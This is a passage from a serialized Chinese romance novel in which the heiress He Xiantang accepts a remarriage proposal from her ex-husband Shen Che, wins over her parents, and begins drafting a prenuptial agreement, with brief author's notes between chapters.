贺羡棠的惊呼全被堵回喉间。唇瓣上湿漉漉的,沈澈吻的很用力,贺羡棠都觉得有点疼了,他稍微分开一点,鼻尖抵着她的鼻尖,短促地说了句:“cici,在等什么?” 他音调含笑,但也没等她回复,就又吻上来。 很凶的一个吻,沈澈亲起人来像某种进攻的猛兽,满是占有欲,贺羡棠被迫张着唇,舌尖有些麻,嘴唇肯定也肿了。 她秉着呼吸,分开时鼻音浓重:“你干嘛!” 调整呼吸,她打他:“你快给我看看,是不是肿了?有没有流血?你咬我干什么!” 沈澈恢复了那副懒散的模样,轻轻揉一下她的唇:“这是不相信老公的惩罚。” 其实是他看贺羡棠闭着眼睛等亲没忍住。 贺羡棠踮起脚环住他脖子,小声抱怨:“你听我把话说完,有两句呢。” 合着那是他的开场白。她这么乖这么主动,沈澈很受用,笑着托住她的腰:“第二句是什么?” 贺羡棠笑的都有点谄媚了:“那个……我忘了跟你说,Mia和赵珩他们会帮我办party,所以我们俩明天就不单独过啦!你肯定不会生气对吧?”说完,她觉得还少了点什么,凑上去亲了亲沈澈,“反正我们以后还有的是时间。” 沈澈刚冒出来的一点火星子被她后面这句话彻底哄熄火了,他咬着牙装大方:“行。” 他准备的游艇、鲜花、烟火、烛光晚餐和求婚仪式通通用不上了! 这是第三次了,戒指还没送出去! 贺羡棠满意地点点头:“好了,我走了,你专心工作吧!” 天气真好,向海上望去,大片大片的火烧云铺天盖地,如一副浓墨重彩的油画,海面也被染成了橙红色,船都收了帆,静静停在港湾里,听说过几天又要刮台风了,但这会儿的风还是柔和的,带着夏季傍晚独特的青草味。 贺羡棠窝在露台藤椅里晃啊晃,没一会儿就把自己晃困了,天色黯淡下去,火烧云也退了,最后一束光从地平线收束,她被一双温热的手抱起来。 “去吃饭吧?” “忙完了?”贺羡棠在沈澈怀里蹭了蹭,还没彻底清醒,迷迷糊糊的,说话也慢,每个音黏连起来,有些娇气,“晚上吃什么?” “不知道,去看看。”沈澈抱着她往餐厅走。灯火通明的一层,温馨的像个真正的家。 / 贺羡棠的生日party办在深水湾一家私人会所,赵珩很夸张,请了全香港的名流,唯独漏了贺羡棠不喜欢的sofia和李三小姐。 八点钟,夜幕降临,台风来临前,海上风平浪静,黑色迈巴赫匀速驶上坡道,停在会所前,门童来接司机的钥匙,贺羡棠挽着沈澈走入,她这个寿星到的晚,一现身就被打趣,让她“自罚三杯”。 “三杯不行,”贺羡棠说,“半杯勉强。你们知道的,我酒量不好。” Mia说:“岂止是不好。喝上三杯能把房顶掀了。万一台风刮过来,咱们就淋着吧!” 满场哄堂大笑。 今夜晚宴用的香槟口感柔,比较好入口,半杯不至于喝醉。贺羡棠从侍应生的托盘里拿了支香槟杯,朝满场宾客举杯,感谢他们赏光。 “大家玩的开心。” 高朋满座,衣香鬓影,管弦乐队拉一首悠扬的曲子,贺羡棠是主角,一尾鱼般穿梭在人群之间,寒暄、社交、接受祝福,有时连沈澈都顾不上,两人的手松开了,沈澈倚在角落里等她,看她镶着钻的裙摆飘扬。 室内是深色的大理石地板和桌椅,大概为了营造氛围感,灯光也调暗了,烛火的作用微乎其微,只能衬的杯碟更加明亮鉴人。贺羡棠那抹熠熠闪亮的裙摆,就成了全场最瞩目的存在。 沈澈的视线追着她,偶尔走动间,露出银色高跟鞋和纤细的脚腕。脚步停了,裙摆落下,遮住那片月色般的皮肤。 沈澈转着戒指玩,视线往上,动作一顿。 “谢谢你,”贺羡棠凑近赵珩,捂着嘴低声说,“没有请sofia真是太对了。” 小孩儿似的,赵珩弹她脑门儿,贺羡棠捂着额头瞪他。 “你怎么可以弹寿星呢?” “弹一弹更健康。”赵珩说些没营养也无厘头的话,视线越过重重人群,看见Mia不停做挖墙脚的动作,十分浮夸。赵珩笑了声,“Mia送了我一把金铲子。” “嗯?”贺羡棠问,“沉不沉?拿来种花好用吗?” 如果好用,她也去打一把。 “不知道。”赵珩漫不经心说,“反正拿来撬姓沈的墙角不怎么好用。” 贺羡棠沉默了。 “Mia她……” 赵珩揉了下贺羡棠头发:“傻子,我跟你说着玩的。” 他想要贺羡棠幸福,很显然贺羡棠的幸福不在他这里。 沈澈注视着贺羡棠的时候,他也在默默观察沈澈,那种一刻也不舍得移开的目光那么熟悉,赵珩曾经在贺羡棠眼里见过。 只要她能幸福,他心甘情愿认输。 贺羡棠笑了笑:“你才傻子。” 赵珩故作轻松地耸了下肩,像个正经朋友一样关心她的感情问题:“怎么?你们真的打算复婚了?” “我们还没提过这件事呢。”贺羡棠想了下,“再说吧。” 沈澈没提过,她也不提。贺羡棠是典型的享乐主义,不规划未来,眼下快乐最重要。 “你幸福就行。”赵珩把她手里的香槟杯换成一杯果汁,用最轻松的语气说最认真的话,“如果他对你不好,我还是会带你离开。” 贺羡棠看着他,赵珩是公子哥,虽然从不花心,但不知怎么一身风流气,大概是天生的。他说这句话的表情和平时说浑话没区别,带着点玩世不恭的匪气,但贺羡棠觉得这句话太重了,重到她不敢接。 沉默了一会儿,贺羡棠笑了笑,也很轻松地说:“别这样,赵珩,你不应该是我的退路,我更希望你去找你自己的幸福。” 这是真心话。决定都是她自己做的,就算沈澈未来真的不够好,后果她也承担,她要是拿赵珩当备胎,那也太渣了点。 她真的希望赵珩能找到一个两情相悦的人。 赵珩也不知道有没有听进去,不太认真地“嗯”了声,又笑着说:“傻女。” 沈澈揽住了贺羡棠的肩,没什么表情地说:“我不会给你这个机会。” 他离的不远不近,刚好够听完一场对话。 赵珩翻他白眼:“那最好。” 【作者有话说】 其实在最初的设定里,cici会和赵珩谈一段恋爱,然后又因为两人观念不合而分开,但是快写到那个剧情的时候,想来想去想了好久还是把这一条感情线删掉了。 今晚评论区还是给大家发点小红包~ 82 第82章 ◎这个人本就该是他的妻子。◎ “不要……” 贺羡棠迷迷糊糊说一些拒绝的话,只是尾音软绵绵的,听不出什么拒绝的意味。沈澈贴进她,手臂横在她腰间,细细密密的吻从鼻尖落到锁骨。 沈澈给她的吻很舒服,像泡在温泉里一样,贺羡棠走了会儿神,看外头起伏的草地和绵延的海岸线。晚上的浪是深蓝色的。 直到沈澈把手探进她裙内,贺羡棠才一惊:“不要,还在外面呢。” 楼下人太多了,聊着天和一点酒,就算是度数很低的气泡酒,贺羡棠也有一点醉了。沈澈就带她到二楼露台来躲清净。 “你不专心。”开叉到大腿的礼裙被沈澈的手指拨开,贺羡棠目光垂下去,看见他那双骨节分明的手。 人长得好,手也漂亮,做这种事情都不下流,反而气定神闲地透着矜贵。 像是惩罚,沈澈的手在她腿根捏了一把。手心里触感丰盈,回国后贺羡棠好像胖了一点,他满意地亲了亲她唇角。 贺羡棠追着他的唇,一口咬上去。等会儿还要见人的,她控制着力道,不至于咬破。 沈澈的手越来越过分了,贺羡棠抬腿用膝盖踢了他一下:“别闹!” 沈澈能分清她的拒绝什么时候是真的拒绝,施施然地收回手,绅士帮她整理裙摆,而后又贴在她腰侧。 贺羡棠缓了缓,问:“是不是快零点了?” 沈澈抬起手腕看表,还差几分钟。 “回去吧?” 零点有蛋糕吃。不知道今年赵珩会准备什么样的蛋糕,贺羡棠跟沈澈说有一年有一个很大的tablecake,一般会放一层蓝莓树莓之类的水果,他在上面放美金。 就是那个tablecake,让贺羡棠在纽约华人留学圈里成了一个神秘的传说。 沈澈静静地听,偶尔低头亲她一口。 “出来好久了,他们肯定在找我们。”贺羡棠牵着他的手要下楼,沈澈没有动,又把她拽回去了。 “还没有你和赵珩聊天的时间久。”他醋劲犯了。 贺羡棠不搭理他,抬起他手腕看时间,还没瞥到究竟是几点几分,就被沈澈压在墙上一顿乱亲。 这是很长的一个吻,贺羡棠不知道沈澈怎么了,今天好像亲不够一样。两人交叠的掌心里一片濡湿,她也只以为是沈澈热出汗了。 大夏天西装三件套穿的板板正正,在室内还好,在露台上待了这么久,能不热吗? 贺羡棠被他亲的有点喘不过来气,还记得要看一眼时间,艰难地扫了一眼。 “零点了!要零点了!”贺羡棠打他肩膀。 话音刚落,零点的钟声响起,叮叮当当仿若天使降临而敲响幸福的铃铛。“砰”的一声,外面墨色的天空中炸开一朵烟花。 蛋糕推出来,主人公却不见踪影。宾客们站在巨幅落地窗前,闻声齐齐抬头向外望去,一朵接着一朵绚烂的烟火印在每个人瞳孔中,波光在香槟杯间流转。 贺羡棠站在露台上,空气里有风,有花香,有一点硫磺味。 她仰着头看烟花,眼波流转,藏着欣喜。沈澈却一直在看她,弯弯的眉,水亮的眼,高挺的鼻梁,粉的唇,哪一处都是他最钟意的模样。 一场烟花秀十几分钟,贺羡棠脖子都酸了,沈澈给她捏后颈。 贺羡棠舒服地眯眯眼,嘟囔道:“是赵珩准备的吗?他没跟我说哎!” 沈澈脸都黑了,手上加重力道。贺羡棠叫了一声,缩缩脖子:“你干嘛!” “我准备的!”沈澈气死了。 贺羡棠“嘿嘿”地抱住他:“你也没跟我说呀。” “说了还叫惊喜吗?原本是打算带你去游艇上玩的。”沈澈抿一下唇,把原本的计划隐去了,他实在是个不会玩惊喜的人,不敢现在都透了底,怕来年绞尽脑汁想不出更好的,“这是跟沈濯学的。” 贺羡棠听说过沈濯为了追求晏宁,有一年在维港给她放烟花,只是她不知真假。 “这事儿是真的啊,我还以为报纸上乱写的。”贺羡棠环着沈澈的腰,“后来呢?他追到了吗?” 沈澈揭沈濯的底:“没有,人家看不上他。” 贺羡棠大笑起来:“他也有这一天啊!” 沈澈说:“那能怎么办呢?他先喜欢上人家,只能乖乖被挑。” 就算沈二少家财万贯风流倜傥一出生就含着一百克拉的大钻石,可他先动心了,就只能等着被挑。感情嘛就是这样不讲道理。 贺羡棠眼睫眨了眨,不知道在想什么。沈澈牵起她的手印下一个吻:“不聊他了,我给你准备了礼物。” 贺羡棠摊开手心:“什么?” 沈澈说:“在我身上,你找找。” 贺羡棠疑心沈澈是想光明正大地被吃豆腐。她笑嘻嘻地从西装外套的口袋摸到裤子,手心被一个坚硬的方形小盒子咯了一下。 这个形状……像是装戒指的首饰盒。 贺羡棠顿时有点紧张,手没有动。 她的动作忽然停住了,沈澈比她更紧张。 是不喜欢吗?不喜欢戒指还是不喜欢他?不想和他复婚只想玩玩还是……? 他手心又出汗了,向来八风不动的人,此刻紧张的心都要跳出来。 每一缕风,每一声虫鸣,贺羡棠每一个微小的动作带起衣物摩擦的窸窣声,都让他心惊肉跳。 “你……”沈澈嘴唇动了动,发出的声音简直不像他的,只一个字,后面居然不知道该说什么好了。 贺羡棠抽回手:“是戒指吗?” 沈澈垂眸,看着她空落落的手心“嗯”了声。 “哪有戒指让人自己找的。”贺羡棠踮起脚,双手捧着他的脸亲了一口,“你讨厌死了。” 心情像坐过山车。沈澈愣住了,过了会儿才急匆匆地掏出戒指,手都在发抖。首饰盒打开,他才想起来求婚是要单膝跪地的。 被大喜大悲冲昏了头,他原本准备好的那一串词都忘了,舌灿莲花的本事也消失了,牵着贺羡棠的手,只问一句:“cecilia,你还愿意嫁给我吗?” 贺羡棠点了点头,有惊喜,对这事也有心理准备,所以表现的比沈澈淡定多了。倒是沈澈赶紧把戒指给她戴上了,生怕她会反悔一样。 起风了,但一切已尘埃落定。沈澈说不出是什么滋味,胸腔里浪潮翻涌着,只觉得不真实。今夜月色这样好,贺羡棠答应他的求婚了。 人是能幸福成这样的吗? 贺羡棠拉他起来:“愣着干什么,傻了吗?” 沈澈笑了:“我比沈濯更幸运一点。” 这句话没头没脑的,贺羡棠却听懂了。沈澈曾经讲过他有时会羡慕沈濯,他是长子,家族的重担天生落在他肩上,许多事情他不像沈濯那样自由。 沈濯能为了晏宁和家族决裂,但他绝不可以。幸运的是,与他相爱的人不是家族会反对的穷学生晏宁,而是他父母为他千挑万选的家世相当的联姻对象。 这个人本就该是他的妻子。 幸好这个人是他的妻子,让他在责任之外,又多收获了一份爱。 贺羡棠点头表示赞同。 沈澈笑着捏她的脸:“是对戒,当婚戒好不好?”他不动声色地自夸,“我觉得款式还蛮大方的,适合日常戴。” 贺羡棠说:“美得你。” 她哼一段旋律,是riverflowsinyou,然后又换成菊次郎的夏天。 举起手对着月光看无名指上那枚戒指,一枚小钻,旁边刻着沈澈的英文名,必然是定制的。她看了一会儿,视线瞥向沈澈,欲言又止。 做工有一点点糙。 普通人看不大出来,但贺羡棠是见惯了好东西的人,她从一出生背的就是限量版的包包戴的就是能进拍卖行的首饰,卧室里随随便便一幅画都是真迹,一件古董花瓶经她的手,只需要一眼,她就能辨出真伪,所以这点粗糙,她也是一眼就看出来了。 在哪定的呀,该不会是这人傻有钱被骗了吧? 沈澈看出她在想什么。 “是我做的!”他补充道,“我亲手做的!” 贺羡棠把手捂在胸口,笑的眉眼弯弯:“这样啊。” 她又去吻他,只是刚贴上去,就被反客为主。沈澈衔着她的唇瓣,似乎很有兴致,细细地磨,玩够了才去吮她的舌尖。 贺羡棠腰有些软,温顺地靠在他怀里。他的吻温热,她浸在里面,什么宾客啊什么宴会的都不去想了,专心地享受这一个吻。 意识快模糊时,沈澈才放开了她。她鼻尖被亲的红扑扑的,好不可爱。 沈澈抵着她额头,一壶醋还没吃完:“去跟赵珩说,我们要复婚了。” 83 第83章 ◎她的退路也永远是一条花团锦簇的路。◎ 贺羡棠和沈澈要复婚这件事,林樾第一个不同意,贺齐第二个不同意。 沈澈早有心理准备,在贺羡棠生日的第二天,携礼物登门拜访。 林樾喜欢的红酒,贺齐喜欢的雪茄,都是贺羡棠帮着挑的,不算贵重,平常的礼物,只是一份心意。 迈巴赫驶过林荫道,八月份的傍晚,夕阳余晖透过树叶间隙在车顶撒下斑驳光影。车进了第一扇门,沈澈牵起贺羡棠的手说:“我有点紧张。” “你以前来都不紧张。”贺羡棠最近迷上了个类似于连连看的单机小游戏,目不转睛地盯着手机,连和沈澈说两句话都是在游戏间隙里敷衍过去的。 沈澈抽走她的手机:“在车上不许玩手机。” 贺羡棠忙着去抢,手一滑,点了几下屏幕,游戏页面灰掉了,显示gameover。她打沈澈肩膀:“我差点就通关了!” 沈澈捉着她下巴亲了一口:“晚上回去再陪你玩。” “我不跟你一起玩。”沈澈玩这种小游戏是降维打击,不仅没乐趣,还只会让贺羡棠对自己的智商产生怀疑。 沈澈哼了声,在她唇上轻轻咬了一口。 贺羡棠问:“口红没花吧?” 沈澈说:“肿了。” “不可能!”贺羡棠说,“你总骗我。” “什么时候骗过你?” “你骗我……” 贺羡棠掰着手指头开始数,沈澈连忙竖起一根食指抵在她唇前:“好了好了,别数了。到了。” 迈巴赫绕环岛半圈,停在主楼前,管家彬彬有礼地立在廊下,显然早已在此等候。贺羡棠笑眯眯地一歪头,落下一点车窗,和管家打招呼:“阿叔下午好呀!” 管家微微弯下腰,与她平视:“下午好,二小姐。先生和夫人已经在餐厅等候了。” 沈澈被无视。 管家的态度代表了林樾贺齐的态度,今晚这顿饭注定没那么好吃,沈澈亲手提着礼物,讪讪然地跟在贺羡棠身后。 贺羡棠安慰他:“安心啦,丑媳妇总要见公婆。” 沈澈低声耳语:“我丑吗?” 贺羡棠摇头:“不丑不丑,HK第一靓仔啦,所以你怕什么?” 沈澈说:“我怕你爹地妈咪不把你嫁给我,我们两个只能做流浪天涯的苦命鸳鸯。” 还有心情开玩笑,看起来也没多紧张。贺羡棠瞪他:“你自己流浪天涯吧,我可不去。” 专用来会客的餐厅里灯火明亮,水晶灯折射切割着数万道光线,光影在明亮的杯碟间滴溜溜打转。 沈澈张嘴就叫:“爸,妈。” 他笑的温和乖巧,双手奉上礼物:“带了一点小礼物,是cici帮着挑的,希望你们喜欢。” 林樾纠正他:“澈仔,你和cici离婚了,再叫爸妈不合适。” 贺羡棠说:“妈咪!我们要复婚了!” 林樾无奈地看了她一眼,牵过她的手说:“生日快乐,bb。” 贺羡棠笑了:“谢谢妈咪。” 林樾说:“吃小蛋糕去,晶姐做的。” 晶姐来把她拽走了,贺羡棠回头递给沈澈一个爱莫能助的眼神。 沈澈亲手给林樾贺齐斟茶,说:“爸,妈,我和cici有过一段婚姻,那几年里你们对我比对大佬更好,我都记得,无论如何不敢忘。不管我和cici有没有复婚,我都该叫这一声爸妈的。” 林樾腹诽,话说的好听,难怪把cici又哄回去了。 她说:“你叫爸妈我们就应了,只是你和cici复婚,我不能同意……这毕竟是大事,结婚也好离婚也好,你们年轻人太冲动。” 沈澈点头道:“您说的是,当初和cici离婚是我冲动了。不过这半年里我也想了很多,以前的事都是我的错,您不同意、有顾虑,我都能理解,我会用行动来弥补cici,就算一直不复婚,我也会一直守护她。” 贺齐终于“咳”了声:“不先说这些,澈仔,坐吧。” 沈澈应声“好”,终于坐下了。 贺齐象征性地问一句:“澈仔,你父亲最近怎么样?” 沈澈忙说:“劳您记挂,一切都好。” “那就好。”贺齐点一记头,对佣人说,“不早了,叫cici来吃饭吧。” 贺羡棠吃了一块小蛋糕,回来问:“你们讲了什么?” 林樾说:“没什么,随便聊聊。” 贺羡棠不信,悄悄凑在林樾耳边说:“你们不要难为他,他嘴笨笨的。” 求婚都只会说一句“愿不愿意嫁给他”的人。 林樾戳她脑门儿:“我看你才笨笨的。” 贺羡棠老大不高兴了:“我可聪明了。” “你聪明。”林樾说,“你就是胳膊肘爱往外拐。” 贺羡棠抬起胳膊,笑道:“它本来就是往外拐的呀。” 吃饭时没再谈复婚的事,吃完饭,林樾三言两语,把沈澈送走,把贺羡棠留下了。 总之他们表现出来的态度很坚决,就是不同意。 贺羡棠送沈澈出去,挽着他小声说:“妈咪就是做做样子的。” “我知道。”沈澈捏贺羡棠的鼻子。 林樾要的是他的态度。 司机已经在门前候着了,贺羡棠跟他道别,又被捞进怀里按着亲了好一会儿。 林樾“唰”一下拉上窗帘。 贺齐戴上老花镜,慢悠悠展开报纸,瞥了一眼合上的窗帘,忍不住道:“这窗帘是自动的。” “我知道!”林樾一把拽走他的报纸,拍在床头柜上,“看看看!天天就知道看你那个报纸!你女儿又要被人拐跑了!” 贺齐从老花镜后面看她:“你真生气啊?” 林樾一下子熄火了。 也不是生气。作为母亲,她支持贺羡棠的一切决定,尽管有时候她不赞成这样的决定,但父母永远是站在她身后的,如果哪一天她后悔了,一回头就能看见他们。 她的退路也永远是一条花团锦簇的路。 只是…… 林樾有些不安。 上一次贺羡棠结婚,林樾贺齐都看的十分淡然,大婚当天,喝一对新人敬的茶,虽然也开心,却说不上有什么不舍的情绪。 他们也是第一次操办儿女婚事,不知道送女出嫁应该是什么心情,看影视剧里,女方的父母总是在哭,好像这一天前后就是不一样的人生了。 林樾在婚前忐忑,真到了那天,反而很平静,不理解那些人哭什么。 起码在她看来,贺羡棠婚前和婚后不会有什么区别,女儿永远是女儿,她的人生阶段不以是否完婚划分,她也会一直顺风顺水一直快乐下去,而她的快乐绝不依托于一个男人。 但这一次,林樾觉得有些不一样了。 贺齐又把报纸拿起来了,慢吞吞说:“儿孙自有儿孙福啦。” 林樾不跟他说,抄起枕头去贺羡棠卧室了。 敲敲门,林樾举起枕头:“我今晚跟你一起睡。” 贺羡棠往里挪了挪,拍拍身侧的空位。 母女俩很久没有一起睡觉了,关了灯,林樾搂着贺羡棠,睡不着。 贺羡棠先挑起话题:“妈咪,你是不是在考验沈澈?” 林樾低头看她,黑暗中她一双眼睛闪亮亮的,皎皎如明月:“妈咪只是有点担心你。” 贺羡棠眨了眨眼。她像小时候一样,把林樾的胳膊横在自己身上,埋进她颈窝里:“林女士,你现在是怎么啦?担心这个担心那个的。” 林樾拍了她一下,贺羡棠“嘿嘿”地笑,末了说:“妈咪,起码我现在觉得很幸福。您不知道,绣姐去世之后,有一段时间,我很怕身边的人会离开。那时候我想,如果以前我能多陪陪她就好了,如果我找医生照顾她就好了……” “人生那么短,谁知道未来什么样子呢。有些事情我现在不做,将来要后悔的。” 林樾沉默了一会儿,说:“你们是因为他忙于工作,忽视你才离婚的。” 贺羡棠说:“是啊是啊,他那几年忙的要死,毕竟还是给他爹地打工的。” 林樾说:“他以后也还是会很忙。你觉得他现在有时间了,只是因为他在追求你。” “没关系,”贺羡棠说,“我有工作,也会很忙的。” 其实她自己知道,最大的区别不是忙不忙,而是爱不爱。 林樾沉默了一会儿,问:“你真的想好了?” 贺羡棠点头:“当然啦!” 她举起手:“你看!我戒指都戴上啦,是沈澈自己做的。” “他自己做的?”林樾牵着她手指粗粗地看了一眼,晚上没开灯,看不大清,但是一眼扫过去,做工和专柜买的没什么区别,显然是用心了的。 贺羡棠说:“对啊。” “做的还挺不错。” 贺羡棠说:“其实有一点点糙,白天就能看出来了,是手工的。” 林樾笑道:“这份心意最重要。” “对呀。”贺羡棠说,“别的我也不缺。” 林樾又笑了:“对,别的你也不缺。” 说完,她忽然想起什么,起身打开床头灯:“我给你准备了生日礼物,差点忘了。” 贺羡棠打着哈欠:“明天再说吧。” 她困了。 “不行不行,万一明天我又忘了呢。”林樾让她等一会儿,自己去了书房,回来时手里捏着一份文件。 贺羡棠打开一看,是股权转让书。 她不解:“我有啊。” 贺家的孩子读完书以后,都会分到一份股份。贺羡棠资产多,这部分都是交给顾问来打理的,她只每年拿分红。 “这是额外的,”林樾说,“原本想等以后……但我想来想去,还是现在给你。你又要结婚,妈咪不知道还能给你什么。” 贺羡棠大为感动,这代表她的持股即将超越贺少川。 而且…… “妈咪,你同意我复婚啦?” “我就说你胳膊肘往外拐吧!”林樾抱着她躺下,“态度他还是要拿出来的!” 贺羡棠说:“当然。” 岳母不好对付,她有点幸灾乐祸。 【作者有话说】 来晚啦来晚啦,今天家里有点事,忙了好久。先睡啦,明天起来给大家发小红包^ω^晚安! 84 第84章 ◎贺羡棠故意板起脸说:“你要翻旧账吗?”◎ 天文台挂了三号风球。 山雨欲来风满楼,贺羡棠缩在露台摇椅里,看海岸上波涛迭起,晶姐送来一碗木薯糖水,她甜甜一笑,夸晶姐好手艺。 他们三兄妹从小嘴就甜,晶姐美滋滋的,点一下她的鼻尖,嘱咐道:“快要下雨了,二小姐,别在外面吹风。” 贺羡棠嚼着木薯,胡乱点头,心里却想,沈澈在干什么呢? 原本约好了今晚一起去看电影,结果台风提前登陆,沈澈不让她出门。 可能在工作?贺羡棠是知道沈澈这个人的,如果不和她在一起,除了工作以外,他的生活乏善可陈。 贺羡棠点点手机,屏幕随之亮了,消息栏里只有几则新闻通知。 一句话也没有,贺羡棠忍着,也不主动找他。 她吃完糖水,去冲了个澡,吹干头发,一看时间还早,不想睡觉,却也没什么事情可以做了。 浴室里热气一蓬蓬地往上飘,贺羡棠在一片水雾里解锁手机,居然还没收到消息。 她笃定,沈澈不想复婚了。 披着睡袍走出去,听见一点窸窸窣窣的声音,到窗前看,果然下雨了。她推开露台的门,雨声霎时清晰了,好清亮。 这雨来的急,风也大,贺羡棠的头发被吹到脸颊前,她拢住发丝,正要关门,视线里出现一束车灯。 黑色的迈巴赫,虽然看不清车牌号,但这个点会过来的除了沈澈也没别人了。 明明能看清,但贺羡棠还是不由自主地踮起脚,车灯把雨丝照的很亮,银亮的鱼线般。 迈巴赫停了,沈澈推开驾驶位的车门,他没带司机,自己开车来的,管家急忙撑开伞迎上去,黑色的伞撑起来遮住了大半人影,贺羡棠没看见他臂弯里还有一束花。 贺羡棠唇角不由自主地往上翘,关上门,等某人上楼。 沈澈带了礼物,在客厅见到林樾,站直,恭敬又沉稳。 “妈,深夜叨扰了,最近新得了瓶好酒,想着您应该会喜欢。” 林樾接过,又看了眼他怀里的百合花:“是来送酒还是送花?” 沈澈说:“都送。” 这两天贺羡棠住在浅水湾,沈澈便日日来献殷勤,偶尔兴致来了,也会亲自下厨做晚*餐。身居高位,难得姿态还能摆的这样低,林樾渐渐松口,说的更多的话是要他们俩相互理解,否则他万万不敢这个时间登门。 这不是摆明要住下? 林樾笑了下,果然说:“雨这么大,今晚在这住吧。” 林樾想反正已经做过多年的夫妻了,况且贺羡棠那个态度,复没复婚只是一道手续罢了,她再反对也没什么用。 沈澈连表面的推辞都没有,脆生生地应下:“谢谢妈。” 林樾说:“cici在卧室。” 几乎是跑上去的,沈澈站在门前,整理了下衣服,正要敲门,门却从里面打开了,贺羡棠笑吟吟地望着他:“左等右等等不来,你好慢。” 她视线往下,落在那束百合上:“你……” 沈澈挤进卧室,顺手关上门,将人压在门上,终于可以为所欲为,叼着贺羡棠的唇吮吸。 一个吻之后,贺羡棠就把自己想要问什么给忘了。 沈澈埋在她颈窝里,深深吸了一口气。她刚洗完澡,梨子的清甜里还带着一点水汽。 “我生病了。”沈澈说。 贺羡棠下意识把手搭在他额头:“怎么又病啦?你是纸片人吗?” 手心并不烫,贺羡棠问:“感冒吗?” 沈澈摇下头,把百合塞进她怀里:“我得了……” 沈澈看着贺羡棠眼睛,笑了声。 贺羡棠问:“你笑什么啊?” 沈澈板起脸,一字一句地把话说完了:“我得了分离焦虑症。” 说完,他忍不住抿着唇笑。贺羡棠也笑,肩膀一抖一抖的。 “好土啊。” 沈澈说:“Tina教我的。” 他在贺羡棠唇上又落下一个吻,问:“花还喜欢吗?” 贺羡棠终于想起自己要问什么:“你来就是为了送花的啊?” “也给妈送了瓶红酒。” 贺羡棠说:“那也没必要这时候过来,下着雨呢。” “我开车,又淋不到。”沈澈说,“这花今天开的正好,等明天就没这么漂亮了。” 沈澈早上出门时看见百合开了,就想着叫人剪下来包好,他带给贺羡棠,只是晚上公司临时有事要处理,加了会儿班,否则他早就过来了。 贺羡棠低头研究,一束香水百合,确实开的漂亮,花瓣微微向外蜷着,再等下去,花瓣完全张开,就真的没这么漂亮了。 贺羡棠左看右看,觉得这百合像她家花园里那一束。园艺师随便种的,季节不合适,本没想着能养活,居然在盛夏开了花。天气热,花期更短。 “你拿我的花送我啊?” 沈澈终于看着她说:“我想你了。” 贺羡棠亲他一口:“我也是。” 百合被放在墙角案几一支奶白色法式陶瓷花瓶里。贺羡棠插花很有讲究,什么样的花搭什么样的花瓶,又该摆在哪里,她心中有一个恰到好处的分寸,经她手插出来的花,漂亮得能去参赛。 她调整着几支百合花的位置,还没弄好,就被沈澈拦腰抱上床。 沈澈单膝压上床。 “别研究花了,研究研究我。” 贺羡棠攥着他的衬衫,都亲上了,才想起来这是在浅水湾,抬脚抵在他胸口,把他缓缓往后推。 “不行,没有套。” 沈澈手心贴在她小腹,不太认真地说:“怀上了就生下来,我养。” 贺羡棠说:“你不养谁养?” 沈澈笑了声,握住她脚腕。她的脚很漂亮,涂着亮晶晶的透明指甲油,珍珠似的。 沈澈玩心上来,在她脚心挠了下。贺羡棠怕痒,下意识地挣扎,一脚踢在他下巴上。 反应过来蹭到哪儿,贺羡棠笑得不行。她跪坐起来,捧着沈澈的脸说:“谁叫你挠我!” 沈澈一脸无奈。 贺羡棠说:“我刚洗过澡。” 沈澈指着刚刚被她踢到的地方说:“那你亲一口。” 贺羡棠犹豫再三,下不去嘴,赶他去洗澡。 他洗完澡,贺羡棠也不嫌时间太早了,关了灯缩进他怀里,准备睡觉。 雨下的更大了,风声呼啸,拍着窗子,室内清爽温暖,彼此的呼吸声纠缠在一起,让贺羡棠生出一种怪异的安全感,就像在世界末日前偷片刻安宁。 说点悄悄话,比如今晚吃了什么,Tina准备的三明治味道一般,明天会下多大的雨,下雨了就在家做蛋糕之类的,贺羡棠很快就困了。 沈澈问她想不想看新上映的一部喜剧片,贺羡棠已经困的睁不开眼睛了,她讲话很慢,慢吞吞地“嗯”了一声,慢吞吞地说:“Mia和贺少川去看了,说很好看。” 沈澈低头看她,她睫毛垂着,讲话时嫣红柔软的嘴唇一张一合,乖巧又可爱。他关掉床头灯,轻轻在她额头印上晚安吻:“睡吧,bb。” 贺羡棠就快要睡过去了,忽然脑海中闪过一个念头,总觉得有什么事没做完,左想右想,又清醒了。 是那束百合花。 她鲤鱼打挺似地从床上跳起来,一边踩上拖鞋一边打开灯,沈澈问她干什么,她说:“花还没插完!弄不好我睡不着!” / 林樾松口以后,贺羡棠和沈澈开始着手准备复婚事宜。这一切都水到渠成,相较于第一次结婚,这次贺羡棠没觉得有什么太特别的感受,倒是沈澈既紧张又兴奋,连着好几天晚上睡不着觉。 不过最睡不着觉的人还是林佳。 她不是睡不着,而是没时间睡。 为贺羡棠和沈澈起草婚前财产协议是一件劳心费神的事情,虽然她已经干过两次,轻车熟路,但成堆的资料还是会把她淹没。 两方律师没完没了地会面,沈澈不停在财产上为这段婚姻给予保障,贺羡棠接受林樾赠予的一部分股份,已越过贺少川成为第三大股东,这些都意味着这份财产协议的拟订工作比上一次更加繁琐。 这么多年贺羡棠还没好好盘过自己的资产,趁着这次机会,叫了顾问一起,想看看是否需要重新规划资产配置。 一份份文件在眼前过,她高估自己,听了没十分钟就开始犯困,拉着沈澈来帮她。 股份、信托、保险、物业、家族酒店、私人岛屿……很多资产贺羡棠自己都忘了。 贺羡棠的视线在一沓A4文件上停留,看了一会儿才想起是深水湾的屋契——离婚时沈澈送她的那栋别墅。 沈澈也看见了,随口问她后来有没有去看看,房子装的是否还合心意。 贺羡棠哪里去看过。她刚离婚的时候,根本不想理和沈澈相关的任何事,后来……后来她是真忘了。 她目光闪闪忽忽,说一半藏一半:“我忘记了。房子那么多,我哪里记得。” 她的资产顾问很默契地把另一份房契推到她面前,贺羡棠一拍脑门儿:“哎呀!这儿还有套房子吗?” 沈澈静静地看着她演,末了问:“是忘记了还是不想去看?” 贺羡棠故意板起脸说:“你要翻旧账吗?” 沈澈不敢说话了,低头认真看文件。 林佳和顾问都憋着笑。贺羡棠也笑,沈澈捏她的脸。 有人敲门,贺羡棠挥开沈澈,一推开门发现是贺少川。 “妈今天亲手炖了鸡汤,让我给你送来。管家说你在书房,你这个点在书房干什么?我以为你家的书房就是个摆设呢。”他一边说一边往里走,扫了眼,脚步略一顿。 书房中央支起了会议室里才会用的那种长桌,一份份文件从保险箱一路铺到桌上,不重要只能都堆在桌角边。 浩如烟海的文件中,贺少川一眼就看见了贺羡棠前几天刚签署的股权转让协议。 